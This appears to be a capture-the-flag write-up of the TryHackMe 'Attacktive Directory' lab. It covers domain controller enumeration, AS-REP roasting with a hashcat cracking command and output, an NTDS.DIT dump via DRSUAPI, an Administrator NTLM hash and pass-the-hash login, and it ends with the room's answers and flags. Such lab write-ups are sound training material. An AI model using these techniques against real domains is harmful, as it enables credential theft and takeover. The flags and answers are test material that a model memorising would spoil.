Active Directory
Active Directory
Active Directory
com/wiki/TryHackMe-Attacktive-Directory
TryHackMe-Attacktive-Directory
Contents
Attacktive Directory
[Task 2] Impacket Installation
[Task 3] Enumerate the DC
#3.1 - How many ports are open under 10,000? (Note it may take up to 5 minutes for all the services to
start)
#3.2 - What tool will allow us to enumerate port 139/445?
#3.3 - What is the NetBIOS-Domain Name of the machine?
#3.4 - What invalid TLD do people commonly use for their Active Directory Domain?
[Task 4] Enumerate the DC Pt 2
#4.1 - What command within Kerbrute will allow us to enumerate valid usernames?
#4.2 - What notable account is discovered? (These should jump out at you)
#4.3 - What is the other notable account is discovered? (These should jump out at you)
[Task 5] Exploiting Kerberos
#5.1 - We have two user accounts that we could potentially query a ticket from. Which user account can
you query a ticket from with no password?
#5.2 - Looking at the Hashcat Examples Wiki page, what type of Kerberos hash did we retrieve from the
KDC? (Specify the full name)
#5.3 - What mode is the hash?
#5.4 - Now crack the hash with the modified password list provided, what is the user accounts password?
[Task 6] Enumerate the DC Pt 3
#6.1 - Using utility can we map remote SMB shares?
#6.2 - Which option will list shares?
#6.3 - How many remote shares is the server listing?
#6.4 - There is one particular share that we have access to that contains a text file. Which share is it?
#6.5 - What is the content of the file?
#6.6 - Decoding the contents of the file, what is the full contents?
[Task 7] Elevating Privileges
#7.1 - What method allowed us to dump NTDS.DIT?
#7.2 - What is the Administrators NTLM hash?
#7.3 - What method of attack could allow us to authenticate as the user without the password?
#7.4 - Using a tool called Evil-WinRM what option will allow us to use a hash?
[Task 8] Flags
#8.1 - svc-admin
#8.2 - backup
#8.3 - Administrator
Attacktive Directory
99% of Corporate networks run off of AD. But can you exploit a vulnerable Domain Controller?
So you’re likely here if you’ve had issues with Impacket. Impacket is moderately frustrating to say the least… A
lot of people have issues with it, so let’s walk through the Impacket install process!
Installing Impacket
This will clone Impacket to /opt/impacket/, after the repo is cloned, you will notice several install related files,
requirements.txt, and setup.py. setup.py is commonly skipped during the installation. It’s key that you DO
NOT miss it.
Once all the python modules are installed, we can then run the python setup install script:
After that, Impacket should be correctly installed now and it should be ready to use!
Flags for each user account are available for submission. You can retrieve the flags for user accounts via RDP
(Note: the login format is spookysec.local/User at the Window’s login prompt) and Administrator via Evil-
WinRM.
Basic enumeration tactics will yield a number of ports open. Using a popular enumeration tool that’s built on
Linux 4 Windows will reveal some information, not a lot to work with however.
#3.1 - How many ports are open under 10,000? (Note it may
take up to 5 minutes for all the services to start)
Hint: If Windows is being Windows, there should be 11 ports open.
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc Microsoft Windows RPC
49676/tcp open msrpc Microsoft Windows RPC
49799/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at
https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=6/20%Time=5EEE0AD5%P=x86_64-redhat-linux-gnu%r(
SF:DNSVersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07vers
SF:ion\x04bind\0\0\x10\0\x03");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
I found 10 open ports under 10,000 but the expected answer is 11.
[REDACTED]
============================================
| Getting domain SID for 10.10.104.142 |
============================================
Use of uninitialized value $global_workgroup in concatenation (.) or string at /data/src/enum4linux-0.8.9/enum4linux.pl line 359.
Domain Name: THM-AD
Domain Sid: S-1-5-21-3591857110-2884097990-301047963
[+] Host is part of a domain (not a workgroup)
Answer: THM-AD
Answer: .local
A whole host of other services are running, including Kerberos. Kerberos is a key authentication service within
Active Directory. With this port open, we can use a tool called Kerbrute (https://github.com/ropnop/kerbrute/r
eleases) (by Ronnie Flathers @ropnop) to brute force discovery of users, passwords and even password spray!
Enumeration
Answer: userenum
10.10.104.142 spookysec.local
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
[REDACTED]
Answer: svc-admin
After the enumeration of user accounts is finished, we can attempt to abuse a feature within Kerberos with an
attack method called ASREPRoasting. ASReproasting occurs when a user account has the privilege “Does not
require Pre-Authentication” set. This means that the account does not need to provide valid identification before
requesting a Kerberos Ticket on the specified user account.
Exploitation
a ticket from. Which user account can you query a ticket from
with no password?
Kerberos pre-authentication has been disabled for svc-admin:
Answer: svc-amin
Searching for the string krb5asrep on the hashcat hashtype page (https://hashcat.net/wiki/doku.php?id=exam
ple_hashes) reveals that the hash has the following type:
#5.4 - Now crack the hash with the modified password list
provided, what is the user accounts password?
$ hashcat --force -m 18200 -a 0 svc-admin.hash /usr/share/wordlists/rockyou.txt
hashcat (v5.1.0) starting...
[REDACTED]
$krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:d2c7d46d6[REDACTED]92d7576bad:management2005
Session..........: hashcat
Status...........: Cracked
Hash.Type........: Kerberos 5 AS-REP etype 23
Hash.Target......: $krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:d2c7d46d607...576bad
Time.Started.....: Sat Jun 20 14:39:17 2020 (15 secs)
Time.Estimated...: Sat Jun 20 14:39:32 2020 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 411.8 kH/s (12.40ms) @ Accel:64 Loops:1 Thr:64 Vec:8
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
With a user’s account credentials we now have significantly more access within the domain. We can now attempt
to enumerate any shares that the domain controller may be giving out.
Answer: smbclient
Answer: -L
$ cat backup_credentials.txt
YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw
Now that we have new user account credentials, we may have more privileges on the system than before. The
username of the account “backup” gets us thinking. What is this the backup account to?
Well, it is the backup account for the Domain Controller. This account has a unique permission that allows all
Active Directory changes to be synced with this user account. This includes password hashes
Knowing this, we can use another tool within Impacket called secretsdump.py. This will allow us to retrieve all
of the password hashes that this user account (that is synced with the domain controller) has to offer. Exploiting
this, we will effectively have full control over the AD Domain.
In the above output, we can read that the DRSUAPI method allows to get the NTDS.DIT secrets.
Answer: DRSUAPI
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e4876a80a723612986d7609aa5ebc12b:::
We can pass the administrator’s password NTLM hash directly to evil-winrm to login without knowing the
password.
Answer: -H
[Task 8] Flags
Submit the flags for each user account. They can be located on each user’s desktop.
If you enjoyed this box, you may also enjoy my blog post (https://blog.spookysec.net/kerberos-abuse/)!
#8.1 - svc-admin
Flag: TryHackMe{K3rb3r0s_Pr3_4uth}
#8.2 - backup
Flag: TryHackMe{B4ckM3UpSc0tty!}
#8.3 - Administrator
Flag: TryHackMe{4ctiveD1rectoryM4st3r}